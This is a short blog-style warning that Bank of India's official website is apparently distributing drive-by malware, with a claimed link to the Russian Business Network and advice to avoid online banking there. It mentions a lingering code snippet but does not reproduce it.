Bank of India Official Website Is Unsafe At the Moment

It has just been discovered that www.bankofindia.com, the official website of Bank of India, is distributing malware (harmful software that installs on your computer via the web browser when you visit the website).

Bank of India has not yet issued any official advisory or confirmation regarding the exploit. There is evidence that the Russian Business Network is behind this act.

At the time of writing this post, the following tracking code snippet on the Bank Homepage suggests that the exploit has not been completely fixed.

It is therefore suggested that customers avoid Internet Banking and other online transactions on the site for some time.

Bank of India, a nationalized bank, is not to be confused with Reserve Bank of India, State Bank of India or the Union Bank of India. Details at ZDNet and Sunbelt.
